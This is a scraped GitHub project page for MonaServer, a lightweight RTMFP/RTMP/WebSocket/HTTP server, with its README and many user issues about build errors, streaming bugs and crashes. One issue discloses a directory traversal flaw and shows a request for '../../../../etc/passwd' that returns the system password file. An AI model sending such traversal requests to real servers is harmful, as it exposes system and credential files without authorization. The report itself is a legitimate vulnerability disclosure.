Coder Social home page Coder Social logo

monasolutions / monaserver Goto Github PK

View Code? Open in Web Editor NEW
706.0 105.0 212.0 53.75 MB

A lightweight RTMFP, RTMP, WebSocket and HTTP server!

Home Page: http://monaserver.ovh

License: GNU General Public License v3.0

ActionScript 4.83% Lua 1.19% CSS 0.02% JavaScript 3.33% HTML 0.48% Makefile 0.45% C++ 89.69%

monaserver's Introduction

MonaServer

MonaServer is a new Web server born from the Cumulus project.

In addition to RTMFP it includes RTMP/RTMPE, WebSocket, HTTP, a NoDB system and a lot of improvements.

Check our website to know more about MonaServer : www.monaserver.ovh

You can talk with the MonaServer Community on the MonaServer forum or report a bug on the issues page.

MonaServer is licensed under the GNU General Public License, please contact us for a commercial licence at [email protected] or [email protected].

Binaries & Build

A 32-bit Windows zipped package is provided to quickly test MonaServer.

Note : In order to use it you need the C++ Redistributable Packages for Visual Studio 2013.

We recommend you to clone the github version from the sources and to follow the Installation instructions for production use.

Versions

The meanings of the differents types of branchs/tags are described here :

Branch Description
master Last version commited, using it is at your own risks (even if we test each commit)
tags Stable versions (latest one is 1.2)

Donations

You can contribute to the project by making a donation : $|.

monaserver's People

Contributors

mathieupoux avatar thomasjammet avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

monaserver's Issues

compiling into docker container

compiling in docker throws the following error:

sources/Application.cpp[191] !ex assertion, sources/DNSTest.cpp[51]

any thoughts on how to resolve these?

Cannot read RTMP handshake response

Trying to copy a stream directly to mp4 with command like below both result in error:
Cannot read RTMP handshake response

Using rtmp as connection string and the speex codec in videopublisher.

ffmpeg -re -i rtmp://127.0.0.1/stream/test_1 -c copy "/tmp/XXX.mp4"
ffmpeg version N-73211-g30e9ebb-tessus Copyright (c) 2000-2015 the FFmpeg developers
built with Apple LLVM version 6.0 (clang-600.0.57) (based on LLVM 3.5svn)
configuration: --cc=/usr/bin/clang --prefix=/opt/ffmpeg --as=yasm --extra-version=tessus --enable-avisynth --enable-fontconfig --enable-gpl --enable-libass --enable-libbluray --enable-libfreetype --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopus --enable-libschroedinger --enable-libsoxr --enable-libspeex --enable-libtheora --enable-libvidstab --enable-libvo-aacenc --enable-libvo-amrwbenc --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libx264 --enable-libx265 --enable-libxavs --enable-libxvid --enable-libzmq --enable-version3 --disable-ffplay --disable-indev=qtkit --disable-indev=x11grab_xcb
libavutil 54. 27.100 / 54. 27.100
libavcodec 56. 42.100 / 56. 42.100
libavformat 56. 37.100 / 56. 37.100
libavdevice 56. 4.100 / 56. 4.100
libavfilter 5. 17.100 / 5. 17.100
libswscale 3. 1.101 / 3. 1.101
libswresample 1. 2.100 / 1. 2.100
libpostproc 53. 3.100 / 53. 3.100
[rtmp @ 0x7fb292604a00] Cannot read RTMP handshake response
rtmp://127.0.0.1/stream/test_1: Immediate exit requested
Received signal 2: terminating.

Tried several commands but it still fails.
I had those comment from Thomas my thanks.
Seems like a bug in Mona since I tried all local options to debug this?

Small compile issue on Centos 7

On CentOS there is a small compile issue with the sources not finding the include.

sources/Script.h:27:29: fatal error: luajit-2.0/lua.h: No such file or directory

I tried to place this folder in the sources and other subfolders to no avail. Where should the luajit folder be placed?

mona.clients cause the string of client.id unreadable

function onConnection(client)
function client:want(name)
local farID = '43b9296f6cce011eeb4e44cd8bf7eba21efbd59e5d9df4c7e3e959d07f5b0f4a'
local target = mona.clients(farID)
INFO('farID: ', farID)
end
end

The farID comes into unreadable(just the first 32 bytes) after the call of mona.clients. If the farID is not a real client id(just a string), the target is nil, but the string is still readable. I tried to get a copy of the farID, and never use it, but it became unreadable, too.
Can you please help me to figure this out? Thank you!

compiling on Debian

For solving compilation error
'/usr/bin/ld: //usr/local/lib/libluajit-5.1.a(lj_clib.o): undefined reference to symbol 'dlclose@@GLIBC_2.2.5'
I had to change CFLAGS+=-std=c++11 to CFLAGS+=-std=c++11 -ldl in MonaServer/Makefile on Debian7

strange data in Listener.parameters

in an attempt to pass additional information to the server through a flashplayer url (eg; /myapplication/streams/streampath?info=0123456789) i noticed that the Listener from client:onSubscribe has an undocumented parameters value that seems to hold up to 15 valid characters that are equivalent to the URL query string passed in, but once more than 15 characters are passed the data become unintelligible.

a query of ?012345678901234 produces Listener.parameters (012345678901234)
a query of ?0123456789012345 produces Listener.parameters (Pゥ♣♦・・pv・後睆►)

i'm not sure what is happening with this potentially useful variable, but it seems unintentional

Mona Server Keeps Closing.

The Server Keeps closing from Bad Allocation Errors...

It is to early to say but it seems to crash more with more clients connected... Also the Clients WebServer seems to be timing out at the moment as well.

OS: Windows 8/8.1 Pro
Architecture: x64
Streaming From: OBS
Streaming To: 5 Clients using http://raspi.monaserver.ovh/MonaClients/VideoPlayer/

26/03 10:57:23.6 FATAL Server(3960) sources\Server.cpp[96] Server, bad allocation 26/03 10:57:23.6 WARN Server(3960) sources\Sessions.cpp[41] sessions are deleting 26/03 10:57:23.6 INFO Server(3960) sources\Publication.cpp[98] Publication Musical stopped 26/03 10:57:47.6 NOTE Server(3960) sources\Server.cpp[130] Server stopped

New compile issue on OSX

make[2]: `tmp/Release/Socket.o' is up to date.
make[2]: `tmp/Release/SocketAddress.o' is up to date.
compiling sources/SocketManager.cpp
sources/SocketManager.cpp:422:22: error: no matching member function for call to 'set'
            exThread.set(ex);
            ~~~~~~~~~^~~
./include/Mona/Exceptions.h:61:13: note: candidate function [with Args = <>] not viable: no known
      conversion from 'Mona::Exception' to 'Mona::Exception::Code' for 1st argument
        Exception& set(Code code, Args&&... args) {
                   ^
1 error generated.

Followed all instructions; any thoughts why this happen?
Have been unable to resolve so far

RTMP with path does not work?

Hi,

I'm using OBS to send a stream to OBS and use VLC 2.1.5 to view this stream as client. I'm trying to update the VLC version to get better recording stability, but the path (rtmp://127.0.0.1:1935/path) does not work with later version of VLC (in combination with OBS).

I investigated this further by building MonaServer myself and noticed that VLC behaves differently when opening the service (Service* Service::open(Exception& ex, const string& path)). With old VLC version 2.1.5 the path has no value, while new VLC version have a path specified.
Furthermore, I noticed that when setting up the OBS stream to MonaServer the path is not set. When tracing this in the debugger, the following does not seem to contain or extract the path specified in OBS:

void Peer::onConnection(Exception& ex, Writer& writer,DataReader& parameters,DataWriter& response)

It seems that the RTMP stream with path specified is not implemented (correctly), or there is something wrong in OBS. Could someone please comment on this?

I would like to use the path because I have multiple streams coming from the same machine and would like to distinguish them using the path.

Thanks!

Roy

client variable (at init time) => mona lua server variable?

We have publication.name

But, how would I pass additional variables at initializing timefrom the client to the mona lua server application? I only need them to be set once, the most simple way possible.

Could you provide an example on how to do this?

Kind regards and keep up the good work!

RTMFP/RTMFPSession.cpp[534] RTMFPFlow 3 indicates a non-existent 2000000 NetStream on session RTMFP session 7

Hello,

I'm experimenting with MonaServer and triing to build a simple application where user can start meeting and other user can join it. My AS3 and Lua code is based on MonaVideo example with some difference, but conceptualy it is the same.

First of all I'm getting following output of MonaServer

www/main.lua[22] Creating conf session 'asdf'
www/main.lua[37] A new peer is joining conf session 'asdf'
RTMFP/RTMFPSession.cpp[534] RTMFPFlow 3 indicates a non-existent 2000000 NetStream on session RTMFP session 7
RTMFP/RTMFPSession.cpp[449] RTMFPFlow 3 unfound
RTMFP/RTMFPFlow.cpp[127] RTMFPFlow 3 failed, RTMFPMessage received for a RTMFPFlow unknown
RTMFP/RTMFPSession.cpp[449] RTMFPFlow 3 unfound
RTMFP/RTMFPFlow.cpp[127] RTMFPFlow 3 failed, RTMFPMessage received for a RTMFPFlow unknown
RTMFP/RTMFPWriter.h[62] RTMFPWriter 2 has failed, RTMFPWriter can't deliver its data, Repeat trigger failed
RTMFP/RTMFPSession.h[82] Client failed, Timeout keepalive attempts
sources/Server.cpp[144] 3 clients
www/main.lua[71] A client is gone from hhh, deleting the session...
RTMFP/RTMFPSession.h[82] Client failed, Timeout keepalive attempts
sources/Server.cpp[144] 2 clients

The second thing is that I'm not resiving desconnect evet (onDisconnection function is not work) when I closing browser window.

Netstream.send?

I'm trying to migrate from Wowza to MonaServer so I can utilize the RTMFP protocol, but I also want to have the same RTPM protocol functionallity. But it seems that Netstream.send("myHandler", "some data") isn't working as I expected. The netstream client function "myHandler" isn't called as it was when using Wowza. Is this something that should work? I'm trying to embed data into the video stream that is sent to the other party alongside the video and triggered at the exact seekTime as it was sent.

gcc 6.1 issue

Hello,Mr
the compiler output these notes:
^
./include/Mona/Event.h:102:4: note: in expansion of macro ‘FATAL_ERROR’
FATAL_ERROR("Deleting function during event ", typeid(_this).name()," subscription");
^~~~~~~~~~~
./include/Mona/Exceptions.h:114:157: note: in C++11 destructors default to noexcept
na::String::Format(error,## __VA_ARGS,", " FILE "[" LINE_STRING "]"));}
^
./include/Mona/Event.h:102:4: note: in expansion of macro ‘FATAL_ERROR’
FATAL_ERROR("Deleting function during event ", typeid(_this).name()," subscription");
^~~~~~~~~~~

best regards

RTSP stream from ffmpeg not starting

Hi,
I'm trying to stream a live input (a webcam for example) to the Mona RTSP server.
This command:

ffmpeg -f dshow -i video="Webcam" -r 25 -f rtsp -b:v 1000k rtsp://127.0.1.1/test

Gives this ffmpeg output:

Stream mapping:
  Stream #0:0 -> #0:0 (rawvideo (native) -> mpeg4 (native))
Could not write header for output file #0 (incorrect codec parameters ?): Invalid data found when processing input

And in the server window:

Mona/Decoder.h[163] RTSPDecoder, Unknown RTSP command ANNOUNCE rtsp://127.0.1.1:554/test RTSP/1.0
Content-Type: application/sdp
CSeq: 2
User-Agent: Lavf57.20.100
Content-Length: 314

Scg©@¶�▓=�Ý/zé┌ÿ▄[×í£��▀Ì/  ¸_ ±ÓÎ�oOoÄÝô!ƒ³�├█|©fÞ└Û╩Ò��¼½«+╗E�j¬JÛ.Ð!ÜZ:ZK╠8fîîîå§�íØ �¥B�fµµµÅ░aÖ╣╣æôý�5H{Z{█^áâ7''''┐¸��┐´_  u~Ù ³m║<3�zâäiØÄ-nnam£▄Z�┌£dC5ò�┼�h░═I95�µ 3GBC?zçð�¤Å_!C3Ëôúç╚@╠▄╠Ï╔‗31//-}âѵѺo|éJ¤jZ^� ┘��ûá×┐¸]Ë  ┐u ¯DÞ×[[âù╚U¬¿Öõ¾t╚jõÕÃ�.¤ån.N»ì‗┴ø"╗â�ñpf×Ƭó±��úí'%<─�gçHGÅp┴Ö╣®╣úý�ff```¹��ù�ÿÖ>┴�Õ╚»6Q{f©▓©│�¶�¼¼¼¡┬╗¦» ║  ║{»¹êƒ²«ƒÄoÙ ƒ[Õ�7V7fG�

What's wrong? How can I make it work?
Thanks

Happen Session RTMP session 1 died

sources/Session.cpp[58] peer.id ad10ebdf4b7a3b72f4d027f7ca30d2faee35ee70d6f83a956a60b1009f0828b0
sources/FlashStream.cpp[29] FlashStream 0 created
Mona/Sessions.h[106] Session RTMP session 1 created
RTMP/RTMPSession.cpp[184] headerSize>=4
RTMP/RTMPSession.cpp[194] headerSize>=12
RTMP/RTMPSession.cpp[201] streamId 0
sources/FlashMainStream.cpp[73] Client RTMP not compatible with AMF3, few complex object can be not supported
sources/Peer.cpp[209] Client 127.0.0.1:34379 connection
RTMP/RTMPSession.cpp[184] headerSize>=4
RTMP/RTMPSession.cpp[194] headerSize>=12
RTMP/RTMPSession.cpp[201] streamId 0
sources/Sessions.cpp[115] Session RTMP session 1 died
sources/FlashStream.cpp[34] FlashStream 0 deleted

Can't get the whole SWF on OS X

I've tried the master branch, it just behaved like what I mentioned in my PR #6 and what I described to you on hangouts. It just hung on there after receiving the first part of the SWF file.

$ curl 'http://localhost:8080/clients/samples/Meeting/VideoMeeting.swf' -o a.swf -v
* Hostname was NOT found in DNS cache
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /clients/samples/Meeting/VideoMeeting.swf HTTP/1.1
> User-Agent: curl/7.37.1
> Host: localhost:8080
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Fri, 12 Dec 2014 02:15:15 +0000
* Server Mona is not blacklisted
< Server: Mona
< Access-Control-Allow-Origin:
< Content-Type: application/x-shockwave-flash
< Content-Length: 1906636
< Last-Modified: Fri, 12 Dec 2014 02:15:15 +0000
<
{ [data not shown]
 13 1861k   13  255k    0     0  36137      0  0:00:52  0:00:07  0:00:45     0*
 transfer closed with 1375316 bytes remaining to read
* Closing connection 0
curl: (18) transfer closed with 1375316 bytes remaining to read

btw, you've changed the CC from g++ to gcc, it cause problem on OS X. gcc doesn't link the stdlib. It'd be better to use g++ because they are all cpp codes IMO.

Black Screen on video feedback after a while

Hello!

I stream on twitch sometimes using Monaserver to setup dual screen coop games, and I encountered a bug where after a while the video feedback becomes black and I need to refresh the page. In summary, streaming to the server works well, but I lose access to it every few minutes so sometimes, on stream, the second screen which is the one being streamed from another PC is black. Am I doing something wrong, is it fixable? Or is there something better to get the video? (I use the page provided by Mona)

Thanks!

Occassional Segmentation Faults

Hi There, I've built and installed Mona Server in Centos 7 (latest from GIT as of 7/11/2014).
I do get occasional SEGFAULT and could not pin point of why it is doing it.
It is quiet random although the more connections/disconnection I make the more likelihood of it happening.
I'm running it under GDB at the moment with debug build (make debug on all, base, core and server) When the crash happens (which could happen in 2 seconds or 2 days)
I will paste what i can find here.

Only support video h.264/avc codec. actual=77

I use the websocket connection Monoserver inside the chrome to prompt this error
`

    function test() {
        mc = new MonaClient()
        mc.connect("127.0.0.1", "live", "")
        mc.onWsMessage = function(data) {

        }
        mc.onWsOpen = function() {

        }
        ns = new NetStream(mc);
        ns.bufferTime = 1
        ns.attachCanvas(document.getElementById("canvas"))
        ns.onNetStatus = function(info) {
            console.log(info.code)
        }
    }

`
this error msg

H264 init
netStream connect! 0
webgl:true
websocket open!
mp3 init!
["__publishing","user1"]
Only support video h.264/avc codec. actual=77

P2P rendezvous/introduction server help

Hi, I would like to know how to create a simple p2p server app similar to what the test Cirrus Servers are doing here: p2p.rtmfp.net. It seems like it works on all p2p flash demos/games that I have tried and I just need a similar p2p introduction app.

My client is responding to the monaserver that I have setup, but I'm getting these error messages when I try to connect.

RTMFP/RTMFPSession.h[82] Client failed, Main flow writer closed, session is closing
RTMFP/RTMFPSession.cpp[401] RTMFPWriter 2 unfound for acknowledgment on session RTMFP session 1

IDE for Lua development

Hi!
I'm new for MonaServer and going to develop simple app for it. I'm looking for some comfortable IDE wich may be supported some code completion for MonaServer.
Thank for any advice.

UnitTest Error

Choose the index of the test to run (or type enter to run all) : 2
sources/Application.cpp[183] !ex assertion, sources/DNSTest.cpp[32]

security: deny connecting or publishing or getting the stream

I cannot find any way to implement some security because I don't know how to deny someone from connecting or publishing or from reading the stream.
Let's say I want the client to send username and password on the connect call.
I know I can have the client pass those as arguments to the main.lua onConnection function.
But now a way to deny the connection, return maybe and error event or something.

Is there something?

And through the build in http server it is possible for the outside world to read the main.lua files and othe lua files. How to send 404 if those files are http accessed?

Directory Traversal on HTTP server

I think the title itself is enough......

Tested on a Linux server, co'd HEAD, almost all default settings (IP masked):

$ http --debug 15*.***.***.***/../../../../../../../../etc/passwd                       
HTTPie 0.9.2
HTTPie data: /Users/MrX/.httpie
Requests 2.7.0
Pygments 2.0.2
Python 2.7.9 (default, Apr 16 2015, 16:43:40) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.54)] darwin

>>> requests.request({'allow_redirects': False,
 'auth': None,
 'cert': None,
 'data': OrderedDict(),
 'files': DataDict(),
 'headers': {'User-Agent': 'HTTPie/0.9.2'},
 'method': 'get',
 'params': ParamsDict(),
 'proxies': {},
 'stream': True,
 'timeout': 30,
 'url': u'http://15*.***.***.***/../../../../../../../../etc/passwd',
 'verify': True})

HTTP/1.1 200 OK
Access-Control-Allow-Origin:
Connection: keep-alive
Content-Length: 1948
Content-Type: text/plain
Date: Mon, 03 Aug 2015 20:00:08 +0900
Last-Modified: Mon, 03 Aug 2015 20:00:08 +0900
Server: Mona

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[TRUNCATED]

It could be particularly dangerous as you need root to listen on lower ports.

Well I don't know whether I should report it here...

how get the disconnection message

when the a client disconnection ,the other clients can get message from server,but the a client can not get the message.how the a clent get the message ? from server or from clent

Compiling: Overloading error

./include/Mona/String.h:155:22: error: ‘template static std::string& Mona::String::Append(std::string&, Mona::Int64, Args&& ...)’ cannot be overloaded
  static std::string& Append(std::string& result, Int64 value, Args&&... args) {
                      ^
./include/Mona/String.h:110:22: error: with ‘template static std::string& Mona::String::Append(std::string&, long int, Args&& ...)’
  static std::string& Append(std::string& result, long value, Args&&... args) {
                      ^
./include/Mona/String.h:164:22: error: ‘template static std::string& Mona::String::Append(std::string&, Mona::UInt64, Args&& ...)’ cannot be overloaded
  static std::string& Append(std::string& result, UInt64 value, Args&&... args) {
                      ^
./include/Mona/String.h:146:22: error: with ‘template static std::string& Mona::String::Append(std::string&, long unsigned int, Args&& ...)’
  static std::string& Append(std::string& result, unsigned long value, Args&&... args) { 

Debian 6 and 7 whith gcc 4.7 and 4.8.

OS-X 10.10.2 Support? LLVM or GCC?

OS-X 10.10.2 / Apple LLVM version 6.0 / x86_64-apple-darwin14.1.0

I'm assuming from the number of deprecated OS-X function calls and function return errors like "const char *' with an rvalue of type 'bool'" llvm is not supported on OS-X as the compiler.

Are you using GCC to compile MonaServer on OS-X? And if so, which version/libraries?

Thanks in advance.

RTMP blank screen no errors

Hi there!

I've installed MonaServer on Windows 10 and now I'm trying to stream from OBS on one computer to OBS on another computer. Handshake and all seems to work (at least I don't get any error messages), but when I look at the stream it is empty. I've tried turning off the firewall or using different players (e. g. VLC) and streaming with something else than OBS (an iPhone app for streaming), but no difference.
Attached are the logs.

Any ideas what could be the issue here? :)

Best,
Daniel

Protocol load signature change (binding a random port)

I try to implicate a local pac server for browser.
I want bind the server with a random port.

  1. Protocols::load add - loadProtocol("PAC", 0, sessions);
  2. comment Protocols::loadProtocol
    // if(port==0)
    // return; // not fill parameters, so if "publicAddress" parameter doesn't exist it means that protocol is disabled!
  3. CHANGE bool Protocol::load(Exception& ex, const SocketAddress& address)'
    TO bool Protocol::load(Exception& ex, SocketAddress& address)
    4.INSIDE TCPServer::start(Exception& ex, SocketAddress& address)
    ADD address.set(_address) AFTER CALL _socket.address(ex, _address)

Everything works fine.
Should we take those changes?

RTMP stream leaks memory Result MonaServer crash...

Step to reproduce problem:
Use a Apple hardware (Iphone, Ipod) with VLC to view the stream.
Set the stream on pause ( || ).
MonaServer will leak memory until the connection is automatic closed by MonaServer.
After the connection is closed, MonaServer does not leak anymore, but never releases the already leaked memory.
Start streaming again, set on pause, and the memoryleak continues.
This can be repeated until Your hardware running MonaServer run's out of memory and crash...

This is an issue on Windows and Linux. Same issue. Please fix, because MonaServer is really great, if this is fixed.

For a default MonaServer installation you can use OBS (https://obsproject.com/) for Source With stream Set to Custom and URL to rtmp://192.168.1.2
VLC Connected to rtmp://192.168.1.2
Change the IP 192.168.1.2 to the correct IP addresse for Your system..

android or iOS?

is there any possible to run Monaserver on android or ios?

Errors when large concurrent users join

Does there anybody happen these problems?
One publication (camera video and audio) and about 80 players.

  1. RTMFP\RTMFPWriter.h[62] RTMFPWriter 4 has failed, RTMFPWriter can't deliver its data, Repeat trigger failed
  2. RTMFP\RTMFPSession.cpp[450] RTMFPFlow 7 unfound
    RTMFP\RTMFPFlow.cpp[127] RTMFPFlow 7 failed, RTMFPMessage received for a RTMFPFlow unknown
  3. RTMFP\RTMFPSession.cpp[402] RTMFPWriter 71 unfound for acknowledgment on session RTMFP session 80

What about rtmfp performance?

for example 👍
10000 concurrent connection / one Server?

is there any docment about MonaServer‘s rtmfp performance?

BTW,I have no idea to test rtmfp!!!I had tested it by flash client,,,
but only less than 2000 connections is running,and I need to verify that more than 100000 rtmfp connections can be running!

thanks.

PoolBuffers::endBuffer Strategy issue

1、void PoolBuffers::endBuffer(Buffer* pBuffer) const {
2、 if (pBuffer->capacity() > _maximumCapacity) {
3、 delete pBuffer;
4、 return;
5、 }
6、 pBuffer->clear(); //to fix clip, and resize to 0
......
}

should we take line 6 before line 2?

Number of clients >0

I try to get the number of connected clients and some infos about the clients in a lua server script.

Every time when a new client connects, i print out in a shell the client.address and id, like this.

function onConnection(client,...)
for id, client in pairs(mona.clients) do
INFO(id, " : ", client.address)
end
end

The for function only works when 2 clients are connected where it only prints the address of connected client 2. It seems that client 1 is not in the mona.clients.

For debuging when i connect only one client i used:

function onConnection(client,...)
for id, client in pairs(mona.clients) do
INFO(id, " : ", client.address)
end
INFO(client.address)
end

I got client.address when i connect only with one client.

Is this maybe an bug i do oversee something from the point of lua scripting?

can not connect rtmfp server!

hi,
I get some problem when use MonaServer.
Sometimes, I could not connect to the host of rtmfp server, but another computer could!
Sometimes, Each of computer had connected rtmfp server, but could not connect each other in NetStream for p2p beacuse they had different network!
How can I fix it? (I use actionScript 3)

build error on osx 10.10

hi all,

Trying to build MonaServer on osx, i got this error:

compiling sources/SocketManager.cpp
sources/SocketManager.cpp:24:23: fatal error: sys/epoll.h: No such file or directory
#include "sys/epoll.h"
^
compilation terminated.
make[1]: *** [tmp/Release/SocketManager.o] Error 1
make[1]: `tmp/Release/SocketSender.o' is up to date.
compiling sources/Startable.cpp
sources/Startable.cpp:23:42: fatal error: sys/prctl.h: No such file or directory
#include <sys/prctl.h> // for thread name
^
compilation terminated.

I also want to know that if this project stable enough for production use. So far i only need RTMFP and maybe RTMP features.

Thank you for your wonderful work

How send other stream to client?

In FMS main.asc:

application.onAppStart = function() {
  this.myNC= new NetConnection();  
  this.myNC.onStatus = onStatus;
  this.myNC.connect("rtmp://other/live"); 
};

function onStatus(info){   
  switch (info.code) {
    case "NetConnection.Connect.Success" :
      application.myStream = Stream.get("livestream");
      if (application.myStream){
        application.myStream.play("livestream",-2, -1,false,application.myNC);
      }
      break;
    case "NetConnection.Connect.Failed" :
      break;
    case "NetConnection.Connect.Rejected" :
      break;
  }
}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.